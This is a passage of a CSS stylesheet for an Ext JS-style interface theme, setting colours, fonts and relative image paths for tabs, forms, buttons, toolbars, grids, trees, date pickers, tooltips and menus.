#deecfd;\n\tborder-color:#8db2e3;\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-tab-panel-header, .x-tab-panel-footer {\n\tborder-color:#8db2e3;\n}\n\nul.x-tab-strip-top{\n    background-color:#cedff5;\n\tbackground-image: url(../images/default/tabs/tab-strip-bg.gif);\n\tborder-bottom-color:#8db2e3;\n}\n\nul.x-tab-strip-bottom{\n    background-color:#cedff5;\n\tbackground-image: url(../images/default/tabs/tab-strip-btm-bg.gif);\n\tborder-top-color:#8db2e3;\n}\n\n.x-tab-panel-header-plain .x-tab-strip-spacer,\n.x-tab-panel-footer-plain .x-tab-strip-spacer {\n    border-color:#8db2e3;\n    background-color: #deecfd;\n}\n\n.x-tab-strip span.x-tab-strip-text {\n\tfont:normal 11px tahoma,arial,helvetica;\n\tcolor:#416aa3;\n}\n\n.x-tab-strip-over span.x-tab-strip-text {\n\tcolor:#15428b;\n}\n\n.x-tab-strip-active span.x-tab-strip-text {\n\tcolor:#15428b;\n    font-weight:bold;\n}\n\n.x-tab-strip-disabled .x-tabs-text {\n\tcolor:#aaaaaa;\n}\n\n.x-tab-strip-top .x-tab-right, .x-tab-strip-top .x-tab-left, .x-tab-strip-top .x-tab-strip-inner{\n\tbackground-image: url(../images/default/tabs/tabs-sprite.gif);\n}\n\n.x-tab-strip-bottom .x-tab-right {\n\tbackground-image: url(../images/default/tabs/tab-btm-inactive-right-bg.gif);\n}\n\n.x-tab-strip-bottom .x-tab-left {\n\tbackground-image: url(../images/default/tabs/tab-btm-inactive-left-bg.gif);\n}\n\n.x-tab-strip-bottom .x-tab-strip-over .x-tab-right {\n\tbackground-image: url(../images/default/tabs/tab-btm-over-right-bg.gif);\n}\n\n.x-tab-strip-bottom .x-tab-strip-over .x-tab-left {\n\tbackground-image: url(../images/default/tabs/tab-btm-over-left-bg.gif);\n}\n\n.x-tab-strip-bottom .x-tab-strip-active .x-tab-right {\n\tbackground-image: url(../images/default/tabs/tab-btm-right-bg.gif);\n}\n\n.x-tab-strip-bottom .x-tab-strip-active .x-tab-left {\n\tbackground-image: url(../images/default/tabs/tab-btm-left-bg.gif);\n}\n\n.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close {\n\tbackground-image:url(../images/default/tabs/tab-close.gif);\n}\n\n.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close:hover{\n\tbackground-image:url(../images/default/tabs/tab-close.gif);\n}\n\n.x-tab-panel-body {\n    border-color:#8db2e3;\n    background-color:#fff;\n}\n\n.x-tab-panel-body-top {\n    border-top: 0 none;\n}\n\n.x-tab-panel-body-bottom {\n    border-bottom: 0 none;\n}\n\n.x-tab-scroller-left {\n    background-image:url(../images/default/tabs/scroll-left.gif);\n    border-bottom-color:#8db2e3;\n}\n\n.x-tab-scroller-left-over {\n    background-position: 0 0;\n}\n\n.x-tab-scroller-left-disabled {\n    background-position: -18px 0;\n    opacity:.5;\n    -moz-opacity:.5;\n    filter:alpha(opacity=50);\n    cursor:default;\n}\n\n.x-tab-scroller-right {\n    background-image:url(../images/default/tabs/scroll-right.gif);\n    border-bottom-color:#8db2e3;\n}\n\n.x-tab-panel-bbar .x-toolbar, .x-tab-panel-tbar .x-toolbar {\n    border-color:#99bbe8;\n}.x-form-field {\n    font:normal 12px tahoma, arial, helvetica, sans-serif;\n}\n\n.x-form-text, textarea.x-form-field {\n    background-color:#fff;\n    background-image:url(../images/default/form/text-bg.gif);\n    border-color:#b5b8c8;\n}\n\n.x-form-select-one {\n    background-color:#fff;\n    border-color:#b5b8c8;\n}\n\n.x-form-check-group-label {\n    border-bottom: 1px solid #99bbe8;\n    color: #15428b;\n}\n\n.x-editor .x-form-check-wrap {\n    background-color:#fff;\n}\n\n.x-form-field-wrap .x-form-trigger {\n    background-image:url(../images/default/form/trigger.gif);\n    border-bottom-color:#b5b8c8;\n}\n\n.x-form-field-wrap .x-form-date-trigger {\n    background-image: url(../images/default/form/date-trigger.gif);\n}\n\n.x-form-field-wrap .x-form-clear-trigger {\n    background-image: url(../images/default/form/clear-trigger.gif);\n}\n\n.x-form-field-wrap .x-form-search-trigger {\n    background-image: url(../images/default/form/search-trigger.gif);\n}\n\n.x-trigger-wrap-focus .x-form-trigger {\n    border-bottom-color:#7eadd9;\n}\n\n.x-item-disabled .x-form-trigger-over {\n    border-bottom-color:#b5b8c8;\n}\n\n.x-item-disabled .x-form-trigger-click {\n    border-bottom-color:#b5b8c8;\n}\n\n.x-form-focus, textarea.x-form-focus {\n\tborder-color:#7eadd9;\n}\n\n.x-form-invalid, textarea.x-form-invalid {\n    background-color:#fff;\n\tbackground-image:url(../images/default/grid/invalid_line.gif);\n\tborder-color:#c30;\n}\n\n.x-form-invalid.x-form-composite {\n    border: none;\n    background-image: none;\n}\n\n.x-form-invalid.x-form-composite .x-form-invalid {\n    background-color:#fff;\n\tbackground-image:url(../images/default/grid/invalid_line.gif);\n\tborder-color:#c30;\n}\n\n.x-form-inner-invalid, textarea.x-form-inner-invalid {\n    background-color:#fff;\n\tbackground-image:url(../images/default/grid/invalid_line.gif);\n}\n\n.x-form-grow-sizer {\n\tfont:normal 12px tahoma, arial, helvetica, sans-serif;\n}\n\n.x-form-item {\n    font:normal 12px tahoma, arial, helvetica, sans-serif;\n}\n\n.x-form-invalid-msg {\n    color:#c0272b;\n    font:normal 11px tahoma, arial, helvetica, sans-serif;\n    background-image:url(../images/default/shared/warning.gif);\n}\n\n.x-form-empty-field {\n    color:gray;\n}\n\n.x-small-editor .x-form-field {\n    font:normal 11px arial, tahoma, helvetica, sans-serif;\n}\n\n.ext-webkit .x-small-editor .x-form-field {\n    font:normal 11px arial, tahoma, helvetica, sans-serif;\n}\n\n.x-form-invalid-icon {\n    background-image:url(../images/default/form/exclamation.gif);\n}\n\n.x-fieldset {\n    border-color:#b5b8c8;\n}\n\n.x-fieldset legend {\n    font:bold 11px tahoma, arial, helvetica, sans-serif;\n    color:#15428b;\n}\n.x-btn{\n\tfont:normal 11px tahoma, verdana, helvetica;\n}\n\n.x-btn button{\n    font:normal 11px arial,tahoma,verdana,helvetica;\n    color:#333;\n}\n\n.x-btn em {\n    font-style:normal;\n    font-weight:normal;\n}\n\n.x-btn-tl, .x-btn-tr, .x-btn-tc, .x-btn-ml, .x-btn-mr, .x-btn-mc, .x-btn-bl, .x-btn-br, .x-btn-bc{\n\tbackground-image:url(../images/default/button/btn.gif);\n}\n\n.x-btn-click .x-btn-text, .x-btn-menu-active .x-btn-text, .x-btn-pressed .x-btn-text{\n    color:#000;\n}\n\n.x-btn-disabled *{\n\tcolor:gray !important;\n}\n\n.x-btn-mc em.x-btn-arrow {\n    background-image:url(../images/default/button/arrow.gif);\n}\n\n.x-btn-mc em.x-btn-split {\n    background-image:url(../images/default/button/s-arrow.gif);\n}\n\n.x-btn-over .x-btn-mc em.x-btn-split, .x-btn-click .x-btn-mc em.x-btn-split, .x-btn-menu-active .x-btn-mc em.x-btn-split, .x-btn-pressed .x-btn-mc em.x-btn-split {\n    background-image:url(../images/default/button/s-arrow-o.gif);\n}\n\n.x-btn-mc em.x-btn-arrow-bottom {\n    background-image:url(../images/default/button/s-arrow-b-noline.gif);\n}\n\n.x-btn-mc em.x-btn-split-bottom {\n    background-image:url(../images/default/button/s-arrow-b.gif);\n}\n\n.x-btn-over .x-btn-mc em.x-btn-split-bottom, .x-btn-click .x-btn-mc em.x-btn-split-bottom, .x-btn-menu-active .x-btn-mc em.x-btn-split-bottom, .x-btn-pressed .x-btn-mc em.x-btn-split-bottom {\n    background-image:url(../images/default/button/s-arrow-bo.gif);\n}\n\n.x-btn-group-header {\n    color: #3e6aaa;\n}\n\n.x-btn-group-tc {\n\tbackground-image: url(../images/default/button/group-tb.gif);\n}\n\n.x-btn-group-tl {\n\tbackground-image: url(../images/default/button/group-cs.gif);\n}\n\n.x-btn-group-tr {\n\tbackground-image: url(../images/default/button/group-cs.gif);\n}\n\n.x-btn-group-bc {\n\tbackground-image: url(../images/default/button/group-tb.gif);\n}\n\n.x-btn-group-bl {\n\tbackground-image: url(../images/default/button/group-cs.gif);\n}\n\n.x-btn-group-br {\n\tbackground-image: url(../images/default/button/group-cs.gif);\n}\n\n.x-btn-group-ml {\n\tbackground-image: url(../images/default/button/group-lr.gif);\n}\n.x-btn-group-mr {\n\tbackground-image: url(../images/default/button/group-lr.gif);\n}\n\n.x-btn-group-notitle .x-btn-group-tc {\n\tbackground-image: url(../images/default/button/group-tb.gif);\n}.x-toolbar{\n\tborder-color:#a9bfd3;\n    background-color:#d0def0;\n    background-image:url(../images/default/toolbar/bg.gif);\n}\n\n.x-toolbar td,.x-toolbar span,.x-toolbar input,.x-toolbar div,.x-toolbar select,.x-toolbar label{\n    font:normal 11px arial,tahoma, helvetica, sans-serif;\n}\n\n.x-toolbar .x-item-disabled {\n\tcolor:gray;\n}\n\n.x-toolbar .x-item-disabled * {\n\tcolor:gray;\n}\n\n.x-toolbar .x-btn-mc em.x-btn-split {\n    background-image:url(../images/default/button/s-arrow-noline.gif);\n}\n\n.x-toolbar .x-btn-over .x-btn-mc em.x-btn-split, .x-toolbar .x-btn-click .x-btn-mc em.x-btn-split,\n.x-toolbar .x-btn-menu-active .x-btn-mc em.x-btn-split, .x-toolbar .x-btn-pressed .x-btn-mc em.x-btn-split\n{\n    background-image:url(../images/default/button/s-arrow-o.gif);\n}\n\n.x-toolbar .x-btn-mc em.x-btn-split-bottom {\n    background-image:url(../images/default/button/s-arrow-b-noline.gif);\n}\n\n.x-toolbar .x-btn-over .x-btn-mc em.x-btn-split-bottom, .x-toolbar .x-btn-click .x-btn-mc em.x-btn-split-bottom,\n.x-toolbar .x-btn-menu-active .x-btn-mc em.x-btn-split-bottom, .x-toolbar .x-btn-pressed .x-btn-mc em.x-btn-split-bottom\n{\n    background-image:url(../images/default/button/s-arrow-bo.gif);\n}\n\n.x-toolbar .xtb-sep {\n\tbackground-image: url(../images/default/grid/grid-blue-split.gif);\n}\n\n.x-tbar-page-first{\n\tbackground-image: url(../images/default/grid/page-first.gif) !important;\n}\n\n.x-tbar-loading{\n\tbackground-image: url(../images/default/grid/refresh.gif) !important;\n}\n\n.x-tbar-page-last{\n\tbackground-image: url(../images/default/grid/page-last.gif) !important;\n}\n\n.x-tbar-page-next{\n\tbackground-image: url(../images/default/grid/page-next.gif) !important;\n}\n\n.x-tbar-page-prev{\n\tbackground-image: url(../images/default/grid/page-prev.gif) !important;\n}\n\n.x-item-disabled .x-tbar-loading{\n\tbackground-image: url(../images/default/grid/refresh-disabled.gif) !important;\n}\n\n.x-item-disabled .x-tbar-page-first{\n\tbackground-image: url(../images/default/grid/page-first-disabled.gif) !important;\n}\n\n.x-item-disabled .x-tbar-page-last{\n\tbackground-image: url(../images/default/grid/page-last-disabled.gif) !important;\n}\n\n.x-item-disabled .x-tbar-page-next{\n\tbackground-image: url(../images/default/grid/page-next-disabled.gif) !important;\n}\n\n.x-item-disabled .x-tbar-page-prev{\n\tbackground-image: url(../images/default/grid/page-prev-disabled.gif) !important;\n}\n\n.x-paging-info {\n    color:#444;\n}\n\n.x-toolbar-more-icon {\n    background-image: url(../images/default/toolbar/more.gif) !important;\n}.x-resizable-handle {\n\tbackground-color:#fff;\n}\n\n.x-resizable-over .x-resizable-handle-east, .x-resizable-pinned .x-resizable-handle-east,\n.x-resizable-over .x-resizable-handle-west, .x-resizable-pinned .x-resizable-handle-west\n{\n    background-image:url(../images/default/sizer/e-handle.gif);\n}\n\n.x-resizable-over .x-resizable-handle-south, .x-resizable-pinned .x-resizable-handle-south,\n.x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north\n{\n    background-image:url(../images/default/sizer/s-handle.gif);\n}\n\n.x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north{\n    background-image:url(../images/default/sizer/s-handle.gif);\n}\n.x-resizable-over .x-resizable-handle-southeast, .x-resizable-pinned .x-resizable-handle-southeast{\n    background-image:url(../images/default/sizer/se-handle.gif);\n}\n.x-resizable-over .x-resizable-handle-northwest, .x-resizable-pinned .x-resizable-handle-northwest{\n    background-image:url(../images/default/sizer/nw-handle.gif);\n}\n.x-resizable-over .x-resizable-handle-northeast, .x-resizable-pinned .x-resizable-handle-northeast{\n    background-image:url(../images/default/sizer/ne-handle.gif);\n}\n.x-resizable-over .x-resizable-handle-southwest, .x-resizable-pinned .x-resizable-handle-southwest{\n    background-image:url(../images/default/sizer/sw-handle.gif);\n}\n.x-resizable-proxy{\n    border-color:#3b5a82;\n}\n.x-resizable-overlay{\n    background-color:#fff;\n}\n.x-grid3 {\n    background-color:#fff;\n}\n\n.x-grid-panel .x-panel-mc .x-panel-body {\n    border-color:#99bbe8;\n}\n\n.x-grid3-row td, .x-grid3-summary-row td{\n\tfont:normal 11px/13px arial, tahoma, helvetica, sans-serif;\n}\n\n.x-grid3-hd-row td {\n\tfont:normal 11px/15px arial, tahoma, helvetica, sans-serif;\n}\n\n\n.x-grid3-hd-row td {\n    border-left-color:#eee;\n    border-right-color:#d0d0d0;\n}\n\n.x-grid-row-loading {\n    background-color: #fff;\n    background-image:url(../images/default/shared/loading-balls.gif);\n}\n\n.x-grid3-row {\n    border-color:#ededed;\n    border-top-color:#fff;\n}\n\n.x-grid3-row-alt{\n\tbackground-color:#fafafa;\n}\n\n.x-grid3-row-over {\n\tborder-color:#ddd;\n    background-color:#efefef;\n    background-image:url(../images/default/grid/row-over.gif);\n}\n\n.x-grid3-resize-proxy {\n    background-color:#777;\n}\n\n.x-grid3-resize-marker {\n    background-color:#777;\n}\n\n.x-grid3-header{\n    background-color:#f9f9f9;\n\tbackground-image:url(../images/default/grid/grid3-hrow.gif);\n}\n\n.x-grid3-header-pop {\n    border-left-color:#d0d0d0;\n}\n\n.x-grid3-header-pop-inner {\n    border-left-color:#eee;\n    background-image:url(../images/default/grid/hd-pop.gif);\n}\n\ntd.x-grid3-hd-over, td.sort-desc, td.sort-asc, td.x-grid3-hd-menu-open {\n    border-left-color:#aaccf6;\n    border-right-color:#aaccf6;\n}\n\ntd.x-grid3-hd-over .x-grid3-hd-inner, td.sort-desc .x-grid3-hd-inner, td.sort-asc .x-grid3-hd-inner, td.x-grid3-hd-menu-open .x-grid3-hd-inner {\n    background-color:#ebf3fd;\n    background-image:url(../images/default/grid/grid3-hrow-over.gif);\n\n}\n\n.sort-asc .x-grid3-sort-icon {\n\tbackground-image: url(../images/default/grid/sort_asc.gif);\n}\n\n.sort-desc .x-grid3-sort-icon {\n\tbackground-image: url(../images/default/grid/sort_desc.gif);\n}\n\n.x-grid3-cell-text, .x-grid3-hd-text {\n\tcolor:#000;\n}\n\n.x-grid3-split {\n\tbackground-image: url(../images/default/grid/grid-split.gif);\n}\n\n.x-grid3-hd-text {\n\tcolor:#15428b;\n}\n\n.x-dd-drag-proxy .x-grid3-hd-inner{\n    background-color:#ebf3fd;\n\tbackground-image:url(../images/default/grid/grid3-hrow-over.gif);\n\tborder-color:#aaccf6;\n}\n\n.col-move-top{\n\tbackground-image:url(../images/default/grid/col-move-top.gif);\n}\n\n.col-move-bottom{\n\tbackground-image:url(../images/default/grid/col-move-bottom.gif);\n}\n\ntd.grid-hd-group-cell {\n    background: url(../images/default/grid/grid3-hrow.gif) repeat-x bottom;\n}\n\n.x-grid3-row-selected {\n\tbackground-color: #dfe8f6 !important;\n\tbackground-image: none;\n\tborder-color:#a3bae9;\n}\n\n.x-grid3-cell-selected{\n\tbackground-color: #b8cfee !important;\n\tcolor:#000;\n}\n\n.x-grid3-cell-selected span{\n\tcolor:#000 !important;\n}\n\n.x-grid3-cell-selected .x-grid3-cell-text{\n\tcolor:#000;\n}\n\n.x-grid3-locked td.x-grid3-row-marker, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker{\n    background-color:#ebeadb !important;\n    background-image:url(../images/default/grid/grid-hrow.gif) !important;\n    color:#000;\n    border-top-color:#fff;\n    border-right-color:#6fa0df !important;\n}\n\n.x-grid3-locked td.x-grid3-row-marker div, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker div{\n    color:#15428b !important;\n}\n\n.x-grid3-dirty-cell {\n    background-image:url(../images/default/grid/dirty.gif);\n}\n\n.x-grid3-topbar, .x-grid3-bottombar{\n\tfont:normal 11px arial, tahoma, helvetica, sans-serif;\n}\n\n.x-grid3-bottombar .x-toolbar{\n\tborder-top-color:#a9bfd3;\n}\n\n.x-props-grid .x-grid3-td-name .x-grid3-cell-inner{\n\tbackground-image:url(../images/default/grid/grid3-special-col-bg.gif) !important;\n    color:#000 !important;\n}\n\n.x-props-grid .x-grid3-body .x-grid3-td-name{\n    background-color:#fff !important;\n    border-right-color:#eee;\n}\n\n.xg-hmenu-sort-asc .x-menu-item-icon{\n\tbackground-image: url(../images/default/grid/hmenu-asc.gif);\n}\n\n.xg-hmenu-sort-desc .x-menu-item-icon{\n\tbackground-image: url(../images/default/grid/hmenu-desc.gif);\n}\n\n.xg-hmenu-lock .x-menu-item-icon{\n\tbackground-image: url(../images/default/grid/hmenu-lock.gif);\n}\n\n.xg-hmenu-unlock .x-menu-item-icon{\n\tbackground-image: url(../images/default/grid/hmenu-unlock.gif);\n}\n\n.x-grid3-hd-btn {\n    background-color:#c3daf9;\n    background-image:url(../images/default/grid/grid3-hd-btn.gif);\n}\n\n.x-grid3-body .x-grid3-td-expander {\n    background-image:url(../images/default/grid/grid3-special-col-bg.gif);\n}\n\n.x-grid3-row-expander {\n    background-image:url(../images/default/grid/row-expand-sprite.gif);\n}\n\n.x-grid3-body .x-grid3-td-checker {\n    background-image: url(../images/default/grid/grid3-special-col-bg.gif);\n}\n\n.x-grid3-row-checker, .x-grid3-hd-checker {\n    background-image:url(../images/default/grid/row-check-sprite.gif);\n}\n\n.x-grid3-body .x-grid3-td-numberer {\n    background-image:url(../images/default/grid/grid3-special-col-bg.gif);\n}\n\n.x-grid3-body .x-grid3-td-numberer .x-grid3-cell-inner {\n\tcolor:#444;\n}\n\n.x-grid3-body .x-grid3-td-row-icon {\n    background-image:url(../images/default/grid/grid3-special-col-bg.gif);\n}\n\n.x-grid3-body .x-grid3-row-selected .x-grid3-td-numberer,\n.x-grid3-body .x-grid3-row-selected .x-grid3-td-checker,\n.x-grid3-body .x-grid3-row-selected .x-grid3-td-expander {\n\tbackground-image:url(../images/default/grid/grid3-special-col-sel-bg.gif);\n}\n\n.x-grid3-check-col {\n\tbackground-image:url(../images/default/menu/unchecked.gif);\n}\n\n.x-grid3-check-col-on {\n\tbackground-image:url(../images/default/menu/checked.gif);\n}\n\n.x-grid-group, .x-grid-group-body, .x-grid-group-hd {\n    zoom:1;\n}\n\n.x-grid-group-hd {\n    border-bottom-color:#99bbe8;\n}\n\n.x-grid-group-hd div.x-grid-group-title {\n    background-image:url(../images/default/grid/group-collapse.gif);\n    color:#3764a0;\n    font:bold 11px tahoma, arial, helvetica, sans-serif;\n}\n\n.x-grid-group-collapsed .x-grid-group-hd div.x-grid-group-title {\n    background-image:url(../images/default/grid/group-expand.gif);\n}\n\n.x-group-by-icon {\n    background-image:url(../images/default/grid/group-by.gif);\n}\n\n.x-cols-icon {\n    background-image:url(../images/default/grid/columns.gif);\n}\n\n.x-show-groups-icon {\n    background-image:url(../images/default/grid/group-by.gif);\n}\n\n.x-grid-empty {\n    color:gray;\n    font:normal 11px tahoma, arial, helvetica, sans-serif;\n}\n\n.x-grid-with-col-lines .x-grid3-row td.x-grid3-cell {\n    border-right-color:#ededed;\n}\n\n.x-grid-with-col-lines .x-grid3-row-selected {\n\tborder-top-color:#a3bae9;\n}.x-pivotgrid .x-grid3-header-offset table td {\n    background: url(../images/default/grid/grid3-hrow.gif) repeat-x 50% 100%;\n    border-left: 1px solid;\n    border-right: 1px solid;\n    border-left-color: #EEE;\n    border-right-color: #D0D0D0;\n}\n\n.x-pivotgrid .x-grid3-row-headers {\n    background-color: #f9f9f9;\n}\n\n.x-pivotgrid .x-grid3-row-headers table td {\n    background: #EEE url(../images/default/grid/grid3-rowheader.gif) repeat-x left top;\n    border-left: 1px solid;\n    border-right: 1px solid;\n    border-left-color: #EEE;\n    border-right-color: #D0D0D0;\n    border-bottom: 1px solid;\n    border-bottom-color: #D0D0D0;\n    height: 18px;\n}\n.x-dd-drag-ghost{\n\tcolor:#000;\n\tfont: normal 11px arial, helvetica, sans-serif;\n    border-color: #ddd #bbb #bbb #ddd;\n\tbackground-color:#fff;\n}\n\n.x-dd-drop-nodrop .x-dd-drop-icon{\n  background-image: url(../images/default/dd/drop-no.gif);\n}\n\n.x-dd-drop-ok .x-dd-drop-icon{\n  background-image: url(../images/default/dd/drop-yes.gif);\n}\n\n.x-dd-drop-ok-add .x-dd-drop-icon{\n  background-image: url(../images/default/dd/drop-add.gif);\n}\n\n.x-view-selector {\n    background-color:#c3daf9;\n    border-color:#3399bb;\n}.x-tree-node-expanded .x-tree-node-icon{\n\tbackground-image:url(../images/default/tree/folder-open.gif);\n}\n\n.x-tree-node-leaf .x-tree-node-icon{\n\tbackground-image:url(../images/default/tree/folder.gif);\n}\n\n.x-tree-node-collapsed .x-tree-node-icon{\n\tbackground-image:url(../images/default/tree/folder.gif);\n}\n\n.x-tree-node-loading .x-tree-node-icon{\n\tbackground-image:url(../images/default/tree/loading.gif) !important;\n}\n\n.x-tree-node .x-tree-node-inline-icon {\n    background-image: none;\n}\n\n.x-tree-node-loading a span{\n\t font-style: italic;\n\t color:#444444;\n}\n\n.x-tree-lines .x-tree-elbow{\n\tbackground-image:url(../images/default/tree/elbow.gif);\n}\n\n.x-tree-lines .x-tree-elbow-plus{\n\tbackground-image:url(../images/default/tree/elbow-plus.gif);\n}\n\n.x-tree-lines .x-tree-elbow-minus{\n\tbackground-image:url(../images/default/tree/elbow-minus.gif);\n}\n\n.x-tree-lines .x-tree-elbow-end{\n\tbackground-image:url(../images/default/tree/elbow-end.gif);\n}\n\n.x-tree-lines .x-tree-elbow-end-plus{\n\tbackground-image:url(../images/default/tree/elbow-end-plus.gif);\n}\n\n.x-tree-lines .x-tree-elbow-end-minus{\n\tbackground-image:url(../images/default/tree/elbow-end-minus.gif);\n}\n\n.x-tree-lines .x-tree-elbow-line{\n\tbackground-image:url(../images/default/tree/elbow-line.gif);\n}\n\n.x-tree-no-lines .x-tree-elbow-plus{\n\tbackground-image:url(../images/default/tree/elbow-plus-nl.gif);\n}\n\n.x-tree-no-lines .x-tree-elbow-minus{\n\tbackground-image:url(../images/default/tree/elbow-minus-nl.gif);\n}\n\n.x-tree-no-lines .x-tree-elbow-end-plus{\n\tbackground-image:url(../images/default/tree/elbow-end-plus-nl.gif);\n}\n\n.x-tree-no-lines .x-tree-elbow-end-minus{\n\tbackground-image:url(../images/default/tree/elbow-end-minus-nl.gif);\n}\n\n.x-tree-arrows .x-tree-elbow-plus{\n    background-image:url(../images/default/tree/arrows.gif);\n}\n\n.x-tree-arrows .x-tree-elbow-minus{\n    background-image:url(../images/default/tree/arrows.gif);\n}\n\n.x-tree-arrows .x-tree-elbow-end-plus{\n    background-image:url(../images/default/tree/arrows.gif);\n}\n\n.x-tree-arrows .x-tree-elbow-end-minus{\n    background-image:url(../images/default/tree/arrows.gif);\n}\n\n.x-tree-node{\n\tcolor:#000;\n\tfont: normal 11px arial, tahoma, helvetica, sans-serif;\n}\n\n.x-tree-node a, .x-dd-drag-ghost a{\n\tcolor:#000;\n}\n\n.x-tree-node a span, .x-dd-drag-ghost a span{\n\tcolor:#000;\n}\n\n.x-tree-node .x-tree-node-disabled a span{\n\tcolor:gray !important;\n}\n\n.x-tree-node div.x-tree-drag-insert-below{\n \t border-bottom-color:#36c;\n}\n\n.x-tree-node div.x-tree-drag-insert-above{\n\t border-top-color:#36c;\n}\n\n.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below a{\n \t border-bottom-color:#36c;\n}\n\n.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above a{\n\t border-top-color:#36c;\n}\n\n.x-tree-node .x-tree-drag-append a span{\n\t background-color:#ddd;\n\t border-color:gray;\n}\n\n.x-tree-node .x-tree-node-over {\n\tbackground-color: #eee;\n}\n\n.x-tree-node .x-tree-selected {\n\tbackground-color: #d9e8fb;\n}\n\n.x-tree-drop-ok-append .x-dd-drop-icon{\n  background-image: url(../images/default/tree/drop-add.gif);\n}\n\n.x-tree-drop-ok-above .x-dd-drop-icon{\n  background-image: url(../images/default/tree/drop-over.gif);\n}\n\n.x-tree-drop-ok-below .x-dd-drop-icon{\n  background-image: url(../images/default/tree/drop-under.gif);\n}\n\n.x-tree-drop-ok-between .x-dd-drop-icon{\n  background-image: url(../images/default/tree/drop-between.gif);\n}.x-date-picker {\n    border-color: #1b376c;\n    background-color:#fff;\n}\n\n.x-date-middle,.x-date-left,.x-date-right {\n\tbackground-image: url(../images/default/shared/hd-sprite.gif);\n\tcolor:#fff;\n\tfont:bold 11px \"sans serif\", tahoma, verdana, helvetica;\n}\n\n.x-date-middle .x-btn .x-btn-text {\n    color:#fff;\n}\n\n.x-date-middle .x-btn-mc em.x-btn-arrow {\n    background-image:url(../images/default/toolbar/btn-arrow-light.gif);\n}\n\n.x-date-right a {\n    background-image: url(../images/default/shared/right-btn.gif);\n}\n\n.x-date-left a{\n\tbackground-image: url(../images/default/shared/left-btn.gif);\n}\n\n.x-date-inner th {\n    background-color:#dfecfb;\n    background-image:url(../images/default/shared/glass-bg.gif);\n\tborder-bottom-color:#a3bad9;\n    font:normal 10px arial, helvetica,tahoma,sans-serif;\n\tcolor:#233d6d;\n}\n\n.x-date-inner td {\n    border-color:#fff;\n}\n\n.x-date-inner a {\n    font:normal 11px arial, helvetica,tahoma,sans-serif;\n    color:#000;\n}\n\n.x-date-inner .x-date-active{\n\tcolor:#000;\n}\n\n.x-date-inner .x-date-selected a{\n    background-color:#dfecfb;\n\tbackground-image:url(../images/default/shared/glass-bg.gif);\n\tborder-color:#8db2e3;\n}\n\n.x-date-inner .x-date-today a{\n\tborder-color:darkred;\n}\n\n.x-date-inner .x-date-selected span{\n    font-weight:bold;\n}\n\n.x-date-inner .x-date-prevday a,.x-date-inner .x-date-nextday a {\n\tcolor:#aaa;\n}\n\n.x-date-bottom {\n    border-top-color:#a3bad9;\n    background-color:#dfecfb;\n    background-image:url(../images/default/shared/glass-bg.gif);\n}\n\n.x-date-inner a:hover, .x-date-inner .x-date-disabled a:hover{\n    color:#000;\n    background-color:#ddecfe;\n}\n\n.x-date-inner .x-date-disabled a {\n\tbackground-color:#eee;\n\tcolor:#bbb;\n}\n\n.x-date-mmenu{\n    background-color:#eee !important;\n}\n\n.x-date-mmenu .x-menu-item {\n\tfont-size:10px;\n\tcolor:#000;\n}\n\n.x-date-mp {\n\tbackground-color:#fff;\n}\n\n.x-date-mp td {\n\tfont:normal 11px arial, helvetica,tahoma,sans-serif;\n}\n\n.x-date-mp-btns button {\n\tbackground-color:#083772;\n\tcolor:#fff;\n\tborder-color: #3366cc #000055 #000055 #3366cc;\n\tfont:normal 11px arial, helvetica,tahoma,sans-serif;\n}\n\n.x-date-mp-btns {\n    background-color: #dfecfb;\n\tbackground-image: url(../images/default/shared/glass-bg.gif);\n}\n\n.x-date-mp-btns td {\n\tborder-top-color: #c5d2df;\n}\n\ntd.x-date-mp-month a,td.x-date-mp-year a {\n\tcolor:#15428b;\n}\n\ntd.x-date-mp-month a:hover,td.x-date-mp-year a:hover {\n\tcolor:#15428b;\n\tbackground-color: #ddecfe;\n}\n\ntd.x-date-mp-sel a {\n    background-color: #dfecfb;\n\tbackground-image: url(../images/default/shared/glass-bg.gif);\n\tborder-color:#8db2e3;\n}\n\n.x-date-mp-ybtn a {\n    background-image:url(../images/default/panel/tool-sprites.gif);\n}\n\ntd.x-date-mp-sep {\n   border-right-color:#c5d2df;\n}.x-tip .x-tip-close{\n\tbackground-image: url(../images/default/qtip/close.gif);\n}\n\n.x-tip .x-tip-tc, .x-tip .x-tip-tl, .x-tip .x-tip-tr, .x-tip .x-tip-bc, .x-tip .x-tip-bl, .x-tip .x-tip-br, .x-tip .x-tip-ml, .x-tip .x-tip-mr {\n\tbackground-image: url(../images/default/qtip/tip-sprite.gif);\n}\n\n.x-tip .x-tip-mc {\n    font: normal 11px tahoma,arial,helvetica,sans-serif;\n}\n.x-tip .x-tip-ml {\n\tbackground-color: #fff;\n}\n\n.x-tip .x-tip-header-text {\n    font: bold 11px tahoma,arial,helvetica,sans-serif;\n    color:#444;\n}\n\n.x-tip .x-tip-body {\n    font: normal 11px tahoma,arial,helvetica,sans-serif;\n    color:#444;\n}\n\n.x-form-invalid-tip .x-tip-tc, .x-form-invalid-tip .x-tip-tl, .x-form-invalid-tip .x-tip-tr, .x-form-invalid-tip .x-tip-bc,\n.x-form-invalid-tip .x-tip-bl, .x-form-invalid-tip .x-tip-br, .x-form-invalid-tip .x-tip-ml, .x-form-invalid-tip .x-tip-mr\n{\n\tbackground-image: url(../images/default/form/error-tip-corners.gif);\n}\n\n.x-form-invalid-tip .x-tip-body {\n    background-image:url(../images/default/form/exclamation.gif);\n}\n\n.x-tip-anchor {\n    background-image:url(../images/default/qtip/tip-anchor-sprite.gif);\n}.x-menu {\n    background-color:#f0f0f0;\n\tbackground-image:url(../images/default/menu/menu.gif);\n}\n\n.x-menu-floating{\n    border-color:#718bb7;\n}\n\n.x-menu-nosep {\n\tbackground-image:none;\n}\n\n.x-menu-list-item{\n\tfont:normal 11px arial,tahoma,sans-serif;\n}\n\n.x-menu-item-arrow{\n\tbackground-image:url(../images/default/menu/menu-parent.gif);\n}\n\n.x-menu-sep {\n    background-color:#e0e0e0;\n\tborder-bottom-color:#fff;\n}\n\na.x-menu-item {\n\tcolor:#222;\n}\n\n.x-menu-item-active {\n    background-image: 